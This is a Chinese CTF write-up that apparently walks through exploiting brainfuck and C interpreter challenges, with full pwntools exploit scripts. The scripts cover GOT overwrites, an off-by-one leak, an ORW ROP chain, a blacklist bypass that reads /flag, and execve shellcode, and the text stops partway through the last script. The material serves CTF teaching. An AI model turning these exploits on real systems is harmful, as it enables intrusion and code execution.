0x01 写在前面
在近期的比赛中,发现解释器类型的题目越来越多,因此决定进行一个专项的题目总结。
-
Pwnable_bf
:此题是利用了brainfuck
本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。 -
2020 RCTF bf
:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。 -
2020 DAS-CTF OJ0
:此题是直接让我们写程序来读flag
,而我们读flag
时又需要绕过一些题目的过滤语句~ -
DEFCON CTF Qualifier 2020 introool
:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。 -
[Redhat2019] Kaleidoscope
:此题创新性的使用了fuzz
来解题。 -
2020 DAS-CTF OJ1
:此题仍然为直接让我们写程序来读flag
,但是他限制了所有括号的使用!
0x02 什么是解释器
解释器(英语Interpreter
),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。
0x03 以 pwnable bf 为例
题目信息
32
位程序,开启了NX
和Canary
,Glibc 2.23
。
根据题目所述信息,这是一个brainfuck
语言的解释器。
由于brainfuck
语言本身十分简单,因此本题中的核心处理逻辑就是brainfuck
语言本身的处理逻辑。
漏洞分析
我们分析发现,此程序本身并没有可利用的漏洞,那么我们就可以利用brainfuck
语言本身的特性来完成利用,因为题目没有对我们可操作的指针p
做任何限制,也就是说,我们可以直接利用brainfuck
语言本身来进行任意地址读写,那么我们的思路就很明显了,利用指针移动将p
移动到got
表,劫持got
表内容即可。
我们决定将putchar@got
改为_start
,将memset@got
改为gets@got
,将fgets@got
改为system@got
。
漏洞利用
首先,以下信息是我们已知的:
getchar@got位于 : 0x0804A00C
fgets@got位于 : 0x0804A010
memset@got位于 : 0x0804A02C
putchar@got位于 : 0x0804A030
p 指针地址 : 0x0804A080
接下来我们开始构造payload
:
- 首先执行一次
getchar
函数。payload = ','
- 将指针
p
用<
操作符移动到getchar@got
。payload += '<' * 0x70
- 然后逐位输出
getchar@got
的值。payload += '.>.>.>.>'
- 然后继续篡改
fgets@got
为system@got
。payload += ',>,>,>,>'
- 移动指针到
memset@got
。payload += '>' * 0x18
- 篡改
memset@got
为gets@got
。payload += ',>,>,>,>'
- 继续篡改
putchar@got
为main
。payload += ',>,>,>,>'
- 触发
putchar
函数。payload += '.'
FInal Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
bf=ELF('./bf', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./BUUOJ_libc/libc-2.23-32.so", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = ','
payload += '<' * 0x94
payload += '.>.>.>.>'
payload += ',>,>,>,>'
payload += '>' * 0x18
payload += ',>,>,>,>'
payload += ',>,>,>,>'
payload += '.'
sh.recvuntil('type some brainfuck instructions except [ ]')
sh.sendline(payload)
sh.send('x01')
libc.address = get_address(sh=sh,info='LIBC ADDRESS --> ',start_string='n',address_len=4,offset=-libc.symbols['getchar'])
for i in p32(libc.symbols['system']):
sh.send(i)
for i in p32(libc.symbols['gets']):
sh.send(i)
for i in p32(0x08048671):
sh.send(i)
sh.sendline('/bin/sh')
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh(Use_other_libc=True)
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x04 以 2020 RCTF bf 为例
题目信息
64
位程序,保护全开,Glibc 2.27
。
根据题目所述信息,这是一个brainfuck
语言的解释器。
这道题目的难度就要比pwnable bf
难得多,首先,题目整体使用了C++
编写,这对于我们的逆向造成了一定的难度。
然后,本题的操作指针p
位于栈上,且做了溢出保护:
指针的前后移动不允许超出局部变量s
和code
的范围。
然后和pwnable bf
相比,支持了[
和]
命令:
在brainfuck
官方文档中:
[ : 如果指针指向的单元值为零,向后跳转到对应的 ] 指令的次一指令处。
] : 如果指针指向的单元值不为零,向前跳转到对应的 [ 指令的次一指令处。
[ 等价于 while (*ptr) {
] 等价于 }
漏洞分析
那么接下来,我们来做一个越界测试,我们写一个如下所示的程序:
ptr++;
while(*ptr){
ptr++;
putchar(ptr);
(*ptr++);
}
getchar(ptr);
我们决定将putchar@got
改为_start
,将memset@got
改为gets@got
,将fgets@got
改为system@got
。
我们可以将其理解成一个简单的fuzz
程序,如果无漏洞发生,应当getchar(ptr);
永远不会被执行,直到ptr
越界指向非法内存而报错。
将其写为brainfuck
程序应当为+[>.+],
,我们输入到程序看看结果。
程序停了下来!说明此程序中的[
和]
的操作符实现必定存在问题,那么我们来看看我们读入的那一个字符被写到了哪里。
sh.recvuntil('enter your code:')
get_gdb(sh)
sh.sendline('+[>.+],')
这是执行代码前的栈情况:
gef➤ x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000100000007 0x00007f1cc12147ca
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0000000000000000 0x0000000000000000
......
0x7ffcc837f870: 0x0000000000000000 0x0000000000000000
0x7ffcc837f880: 0x00007ffcc837f890 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4
这是执行后的栈情况:
gef➤ x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000700000007 0x00007ffcc837f880
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0101010101010101 0x0101010101010101
......
0x7ffcc837f870: 0x0101010101010101 0x0101010101010101
0x7ffcc837f880: 0x00007ffcc837f841 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4
请注意0x7ffcc837f880
处的代码,可以发现,我们可以越界写一个字符,而这个位置恰好储存了我们的代码区域的地址,那么我们事实上可以将其修改到返回地址处,这样我们就可以程序做任意地址跳转,并且发现程序会打印我们输入的代码内容,那么我们就可以利用无截断来泄露信息。
漏洞利用
- 首先我们需要先泄露原本的
bf_code
的地址末位。sh.recvuntil('enter your code:') sh.sendline('+[>.+],') sh.recvuntil('x00' * 0x3FF) code_low_addr = u64(sh.recv(1).ljust(8,'x00')) success("code low bit --> " + str(hex(code_low_addr)))
- 接下来我们进行低位覆盖,将
bf_code
移动到bf_code + 0x20
的位置上,在那之后我们就能获取到ESP
的值。payload = code_low_addr + 0x20 payload = p8((payload) & 0xFF) sh.send(payload) sh.recvuntil("done! your code: ") esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0 info('ESP addr-->'+str(hex(esp_addr)))
- 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?') sh.send('y')
- 重复刚才的步骤,低位覆盖,将
bf_code
移动到bf_code + 0x38
的位置上,在那之后我们能获取到LIBC
的基址。sh.recvuntil('enter your code:') sh.sendline('+[>.+],') sh.send(p8((code_low_addr + 0x38) & 0xFF)) sh.recvuntil("done! your code: ") libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97 info('LIBC ADDRESS --> ' + str(hex(libc.address)))
- 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?') sh.send('y')
- 重复刚才的步骤,低位覆盖,将
bf_code
移动到bf_code + 0x30
的位置上,在那之后我们获取到程序加载基址。同时这又是RBP
的位置。sh.recvuntil('enter your code:') sh.sendline('+[>.+],') sh.send(p8((code_low_addr + 0x30) & 0xFF)) sh.recvuntil("done! your code: ") PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980 info('PIE ADDRESS --> ' + str(hex(PIE_address)))
- 接下来我们可以构造
ROP
链,首先列出我们需要利用的gadgets
。0x000000000002155f: pop rdi; ret; 0x0000000000023e6a: pop rsi; ret; 0x0000000000001b96: pop rdx; ret; 0x00000000000439c8: pop rax; ret; 0x00000000000d2975: syscall; ret;
那么我们可以构造如下
ROP chain
:# read(0,BSS+0x400,0x20) ROP_chain = p64(libc.address + 0x000000000002155f) ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x0000000000023e6a) ROP_chain += p64(PIE_address + bf.bss() + 0x400) ROP_chain += p64(libc.address + 0x0000000000001b96) ROP_chain += p64(0x20) ROP_chain += p64(libc.address + 0x00000000000439c8) ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x00000000000d2975) # open(BSS+0x400,0) ROP_chain += p64(libc.address + 0x000000000002155f) ROP_chain += p64(PIE_address + bf.bss() + 0x400) ROP_chain += p64(libc.address + 0x0000000000023e6a) ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x00000000000439c8) ROP_chain += p64(2) ROP_chain += p64(libc.address + 0x00000000000d2975) # read(3,BSS+0x500,0x20) ROP_chain += p64(libc.address + 0x000000000002155f) ROP_chain += p64(3) ROP_chain += p64(libc.address + 0x0000000000023e6a) ROP_chain += p64(PIE_address + bf.bss() + 0x500) ROP_chain += p64(libc.address + 0x0000000000001b96) ROP_chain += p64(0x20) ROP_chain += p64(libc.address + 0x00000000000439c8) ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x00000000000d2975) # write(0,BSS+0x500,0x20) ROP_chain += p64(libc.address + 0x000000000002155f) ROP_chain += p64(1) ROP_chain += p64(libc.address + 0x0000000000023e6a) ROP_chain += p64(PIE_address + bf.bss() + 0x500) ROP_chain += p64(libc.address + 0x0000000000001b96) ROP_chain += p64(0x20) ROP_chain += p64(libc.address + 0x00000000000439c8) ROP_chain += p64(1) ROP_chain += p64(libc.address + 0x00000000000d2975) # exit(0) ROP_chain += p64(libc.address + 0x000000000002155f) ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x00000000000439c8) ROP_chain += p64(60) ROP_chain += p64(libc.address + 0x00000000000d2975) for i in ['[',']']: if i in ROP_chain: raise ValueError('ROP_chain ERROR')
- 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?') sh.send('y')
- 覆盖返回地址,并恢复
code
指针。sh.recvuntil('enter your code:') sh.sendline(p64(0) + ROP_chain) sh.recvuntil('want to continue?') sh.send('y') sh.recvuntil('enter your code:') sh.sendline('+[>.+],') sh.send(p8((code_low_addr) & 0xFF)) sh.send(p8((code_low_addr) & 0xFF))
- 跳出循环即可获取
flag
。
FInal Exploit
⚠️:概率成功,因为有概率我们不能成功的触发[
和]
的漏洞。
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
bf=ELF('./bf', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
while True:
try:
sh = get_sh()
# Your Code here
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.recvuntil('x00' * 0x3FF)
code_low_addr = u64(sh.recv(1).ljust(8,'x00'))
success("code low bit --> " + str(hex(code_low_addr)))
payload = code_low_addr + 0x20
payload = p8((payload) & 0xFF)
sh.send(payload)
sh.recvuntil("done! your code: ", timeout = 0.3)
esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0
info('ESP addr-->'+str(hex(esp_addr)))
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x38) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
info('LIBC ADDRESS --> ' + str(hex(libc.address)))
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x30) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980
info('PIE ADDRESS --> ' + str(hex(PIE_address)))
# read(0,BSS+0x400,0x20)
ROP_chain = p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# open(BSS+0x400,0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(2)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# read(3,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# write(0,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# exit(0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(60)
ROP_chain += p64(libc.address + 0x00000000000d2975)
for i in ['[',']']:
if i in ROP_chain:
raise ValueError('ROP_chain ERROR')
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline(p64(0) + ROP_chain)
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr) & 0xFF))
sh.send(p8((code_low_addr) & 0xFF))
# get_gdb(sh)
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('n')
sh.send('/flag')
# sh.interactive()
flag = sh.recvrepeat(0.3)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
continue
if __name__ == "__main__":
flag = Attack()
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x05 以 2020 DAS-CTF OJ0 为例
安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址
题目信息
可以发现,这是一个C语言的解释器,可以执行我们输入的任意代码,然后依据题目要求输出指定信息后,会执行tree /home/ctf
命令,从而告知我们flag
文件的具体位置。
接下来我们需要构造代码进行flag
的读取。
漏洞利用
根据题目信息回显,可以发现,题目应该是存在有黑名单机制,那么我们不考虑启动shell
,转而考虑使用ORW
的方式获取flag
,那么最简单的程序:
#include<stdio.h>
int main(){
char buf[50];
char path[50] = "/home/ctf/flagx00";
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@
可以发现被过滤了,那么考虑黑名单应该会检测整段代码,以防止出现home
、ctf
、flag
等敏感字符,那么我们可以利用string
函数进行字符串的拼接来绕过保护。
FInal Exploit
#include<stdio.h>
#include<string.h>
int main(){
char buf[50];
char path_part_1[5] = "/hom";
char path_part_2[5] = "e/ct";
char path_part_3[5] = "f/fl";
char path_part_4[5] = "agx00";
char path[20];
sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@
0x06 以 DEFCON CTF Qualifier 2020 introool 为例
题目地址:https://github.com/o-o-overflow/dc2020q-introool-public
题目信息
无二进制文件,拉取项目直接启动docker
即可
- 题目要求首先给出一个用于填充的字符,要求这个字符必须大于等于
0x80
。 - 接下来要求给出填充的长度,这个长度要求介于
0x80
~0x800
之间。 - 接下来询问要
patch
哪个地址处的字节,用于patch
的字符是什么。 - 接下来再次询问要
patch
哪个地址处的字节,用于patch
的字符是什么。 - 最后要求给出三个
ROP gadgets
。 - 在我们给定了以上参数之后,程序会生成一个
ELF
文件,我们可以运行它,也可以查看其内容。
生成的ELF
文件仅开启了NX
保护
经过反编译我们可以看到,我们的patch
是从0x4000EC
,也就是main + 4
处开始,最短填充至0x40016C
,main
函数对应的汇编码就为:
push rbp
mov rbp,rsp
[patch data]
mov eax,0
pop rbp
ret
然后我们写入的三个ROP_gadgets
将会被写入到bss
段。
栈上将填满环境变量,这将导致我们正常情况下的main
函数返回值将会是一个非法值。
漏洞利用
那么对于这道题目,我们利用的是ELF
文件的一个特性:
当数据段未页对齐时,其中的内容将也被映射到text
段的末尾。
也就是说,对于这个题目来说,位于bss
段的ROP_gadgets
将会被映射到text
段中,
那么,如果我们将ROP_gadgets
替换为shellcode
,再利用patch
加入跳转指令,跳转至shellcode
即可。
可以使用ret rel8
形式的跳转,这种跳转的通常为EB XX
,例如本题应该使用EB 46
代表的汇编语句是jmp 0x48
,但是,这里的0x48
是相对地址,相对于本条地址的偏移,例如我们将0x40068
处的代码改为jmp 0x48
,反汇编后,这里的代码将显示为jmp 0x4001B0
。
那么,我们接下来直接去exploit-db
寻找好用的shellcode
即可:
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
FInal Exploit
from pwn import *
import traceback
import sys
import base64
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./file_name")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./file_name")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
